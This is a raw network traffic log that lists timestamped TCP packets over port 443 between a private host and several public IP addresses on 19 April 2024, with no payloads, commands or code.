Apr 19, 2024 16:56:17.783726931 CEST	443	49727	172.67.134.189	192.168.2.5
Apr 19, 2024 16:56:17.784024954 CEST	49727	443	192.168.2.5	172.67.134.189
Apr 19, 2024 16:56:17.784159899 CEST	49727	443	192.168.2.5	172.67.134.189
Apr 19, 2024 16:56:17.784240961 CEST	443	49727	172.67.134.189	192.168.2.5
Apr 19, 2024 16:56:17.834482908 CEST	49727	443	192.168.2.5	172.67.134.189
Apr 19, 2024 16:56:17.889998913 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.890629053 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.890682936 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.891722918 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.891793966 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.892916918 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.892982006 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.893130064 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.893620968 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.893827915 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:17.894078016 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:17.894092083 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:17.894535065 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.894548893 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.895826101 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:17.895915031 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:17.896190882 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.896260977 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.896994114 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:17.897099018 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:17.897207975 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:17.897223949 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:17.897301912 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.897398949 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.897422075 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.936137915 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.938112020 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.938112974 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:17.938129902 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.938290119 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.938339949 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:17.984221935 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:17.984304905 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.094371080 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.094584942 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.094602108 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.094674110 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.094731092 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.094795942 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.096306086 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.097353935 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.097453117 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.097517014 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.097531080 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.097961903 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.098021984 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.101222038 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.101475954 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.101492882 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.101571083 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.101586103 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.101643085 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.104172945 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.104260921 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.104316950 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.104325056 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.104367018 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.104984045 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.107726097 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.108455896 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.108582973 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.108597994 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.111160994 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.111954927 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.112042904 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.112051010 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.112062931 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.112072945 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.114747047 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.115377903 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.115387917 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.115437984 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.115488052 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.115499020 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.118232965 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.118894100 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.118952036 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.118958950 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.118993044 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.119004011 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.121680975 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.122411966 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.122483015 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.122488976 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.122519970 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.122529984 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.125232935 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.125849962 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.125914097 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.125920057 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.125950098 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.125961065 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.128640890 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.128739119 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.128745079 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.132088900 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.132160902 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.132167101 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.132848024 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.132867098 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.132915020 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.132926941 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.132981062 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.136276960 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.139103889 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.139203072 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.139275074 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.139285088 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.139323950 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.139745951 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.139816999 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.139827967 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.142391920 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.146796942 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.146898985 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.146970987 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.146975040 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147001982 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147155046 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147188902 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.147201061 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147279978 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147284031 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.147300005 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147356987 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.147377014 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147520065 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147604942 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147661924 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.147672892 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.147730112 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.147738934 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148003101 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148092985 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148179054 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.148190975 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148247004 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.148257017 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148714066 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148793936 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148858070 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.148869991 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.148929119 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.148937941 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149013996 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149439096 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.149449110 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149581909 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149637938 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.149647951 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149729967 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149810076 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149863005 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149868011 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.149883986 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.149915934 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.149934053 CEST	443	49727	172.67.134.189	192.168.2.5
Apr 19, 2024 16:56:18.150232077 CEST	443	49727	172.67.134.189	192.168.2.5
Apr 19, 2024 16:56:18.150418043 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.150480032 CEST	49727	443	192.168.2.5	172.67.134.189
Apr 19, 2024 16:56:18.150509119 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.150557041 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.150568008 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.150651932 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.150712013 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.150724888 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.150783062 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.151281118 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.151423931 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.151503086 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.151571989 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.151583910 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.151647091 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.151655912 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.152153969 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.152244091 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.152255058 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.152365923 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.152436018 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.152446985 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.163383961 CEST	49727	443	192.168.2.5	172.67.134.189
Apr 19, 2024 16:56:18.163393021 CEST	443	49727	172.67.134.189	192.168.2.5
Apr 19, 2024 16:56:18.191864014 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.191869020 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.193151951 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.198837996 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.200145006 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.200217962 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.200228930 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.200258017 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.200910091 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.200979948 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.202615023 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.202691078 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.202701092 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.202729940 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.202816010 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.203373909 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.205835104 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.206511974 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.206602097 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.206629038 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.208868980 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.208950996 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.208966017 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.209599972 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.209774971 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.209788084 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.211863995 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.211973906 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.211988926 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.212451935 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.212528944 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.212539911 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.214699984 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.214787960 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.214802980 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.215224028 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.215297937 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.215308905 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.217406988 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.217484951 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.217499018 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.217905998 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.217979908 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.217991114 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.219957113 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.220033884 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.220047951 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.222481012 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.222557068 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.222572088 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.222882032 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.222954035 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.222961903 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.222985983 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.223046064 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.224893093 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.224961996 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.224976063 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.225215912 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.229341984 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.229435921 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.229496956 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.229511976 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.231338978 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.239239931 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.239272118 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.239336967 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.239355087 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.239377022 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.239428997 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.242779970 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.242805004 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.242846012 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.242856026 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.242877960 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.242938995 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.242961884 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.243051052 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.245012045 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.245126963 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.245351076 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.245414972 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.245791912 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.245863914 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.246556997 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.246587992 CEST	443	49729	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.246613979 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.246653080 CEST	49729	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.251239061 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.251334906 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.251435041 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.251499891 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.251519918 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.251590014 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.252196074 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.252260923 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.252823114 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.252886057 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.252907991 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.252974987 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.253779888 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.253848076 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.253866911 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.253931046 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.254463911 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.254538059 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.254606009 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.254678011 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.255476952 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.255573988 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.255597115 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.255657911 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.256339073 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.256414890 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.256428957 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.256494045 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.257122040 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.257196903 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.257220984 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.257285118 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.258004904 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.258079052 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.258089066 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.258116007 CEST	443	49733	104.18.10.207	192.168.2.5
Apr 19, 2024 16:56:18.258153915 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.258172035 CEST	49733	443	192.168.2.5	104.18.10.207
Apr 19, 2024 16:56:18.260730028 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:56:18.260767937 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 19, 2024 16:56:18.260853052 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:56:18.261145115 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:56:18.261171103 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 19, 2024 16:56:18.288213015 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.288264036 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.288320065 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.288332939 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.288372040 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.288394928 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.313231945 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.313277960 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.313323975 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.313354969 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.313395023 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.313458920 CEST	49730	443	192.168.2.5	151.101.2.137
Apr 19, 2024 16:56:18.322562933 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.322613955 CEST	443	49730	151.101.2.137	192.168.2.5
Apr 19, 2024 16:56:18.322683096 CEST	49730	443	192.168.2.5	151.101.2.137
